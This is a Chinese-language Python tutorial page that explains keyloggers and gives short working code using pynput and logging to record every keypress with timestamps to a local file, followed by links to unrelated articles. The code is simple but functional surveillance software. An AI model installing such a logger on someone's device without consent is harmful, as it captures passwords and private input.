在 Python 中创建键盘记录器
在Python中,我们可以读取用户输入并检测键盘和鼠标等硬件设备来开发交互式应用程序。 特别是,pynput 模块允许我们使用此类设备并使用函数检测按键和光标移动。
本篇文章将介绍如何在 Python 中创建键盘记录器。
在 Python 中创建键盘记录器
首先,让我们了解什么是键盘记录器。 键盘记录器是一种应用程序,可以读取用户在键盘上按下的按键并将其存储在日志文件中。
此类应用程序通常用于监控设备以进行故障排除和检测技术问题。 如今,此类脚本被用于恶意目的,例如监视设备以查看密码和其他访问代码,因此使用这些脚本时应小心。
我们现在将使用logging和pynput模块在Python中创建一个简单的键盘记录器。
我们将使用日志记录模块创建一个日志文件来跟踪所有按下的按键。 我们将使用 basicConfig()
构造函数创建一个文件,并在此构造函数中指定文件名和格式。
pynput 模块有一个 Listener 对象,该对象在按下按键时收集函数。 我们将定义一个名为 press 的函数,Listener 对象将收集该函数。
press()
函数将读取按下的按键并使用 logging.info()
函数将它们记录到文件中。 请注意,该键需要首先转换为字符串。
代码:
from pynput.keyboard import Key, Listener
import logging
logging.basicConfig(filename = ("logfile.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
def press(key):
logging.info(str(key))
with Listener(on_press=press) as listener:
listener.join()
输出:
如上面的示例所示,当给定的脚本运行时,用户按下的键会记录在日志文件中。
请注意
,日志文件中的每个条目都基于basicConfig()
函数中指定的格式。
相关文章
检查Python中的变量是否为字符串
发布时间:2023/06/30 浏览次数:138 分类:Python
-
我们将通过示例介绍两种不同的方法来检查 Python 中的变量是否为字符串。检查Python中的变量是否为字符串 在 Python 中,每个变量都有一个数据类型。 数据类型表示变量内部存储的数据类型。
在 Python 中安装 YAML
发布时间:2023/06/30 浏览次数:122 分类:Python
-
我们将介绍 Python 中的 YAML。 我们还将介绍如何在不同设备上安装 YAML。Python 中的 YAML YAML 是一种序列化语言。
下载 Python 中的 Anaconda
发布时间:2023/06/30 浏览次数:60 分类:Python
-
本文将介绍 Anaconda 以及我们可以在 Python 中下载的不同版本。Python 中的 Anaconda Anaconda 是 Python 科学数据的来源。
使用 Python 截屏
发布时间:2023/06/30 浏览次数:169 分类:Python
-
本文将引导您完成使用 Python 截取屏幕截图必须遵循的所有步骤。 让我们开始!使用 Pyautogui 模块使用 Python 进行屏幕截图第一种方法使用 Python 提供的 pyauotgui 模块。
在 Python 中绘制水平线
发布时间:2023/06/30 浏览次数:157 分类:Python
-
我们将介绍如何在Python中创建一条水平线。 我们还将介绍 Python 中的 Matplotlib 库。Python 中的水平线 水平线是从左到右或从右到左的任何直线。
使用 Python 连接到 PostgreSQL 数据库
发布时间:2023/06/30 浏览次数:134 分类:Python
-
本文介绍了创建与 PostgreSQL 上的数据库的连接的过程。 我们需要安装 PostgreSQL 和创建数据库等先决条件,如下所述。在系统中安装 PostgreSQL
Python 中的 Rabin-Karp 算法
发布时间:2023/06/30 浏览次数:154 分类:Python
-
我们将介绍 Python 中的 Rabin-Karp 算法,并讨论如何在 Python 程序中使用它。Python 中的 Rabin-Karp 算法 Rabin-Karp 算法从给定的输入或值中查找特定的数字、字母或模式。
Python 中的后台进程
发布时间:2023/06/30 浏览次数:129 分类:Python
-
我们将介绍如何在后台运行Python脚本作为后台进程。 我们还将介绍Python中的pythonw。Python 中的后台进程
Python 3 中的 Urllib2
发布时间:2023/06/30 浏览次数:92 分类:Python
-
在本篇文章中,我们的目标是探索解决 Python 中 ModuleNotFoundError: No module named 'urllib2' 问题的方法。Python 3 中的 urllib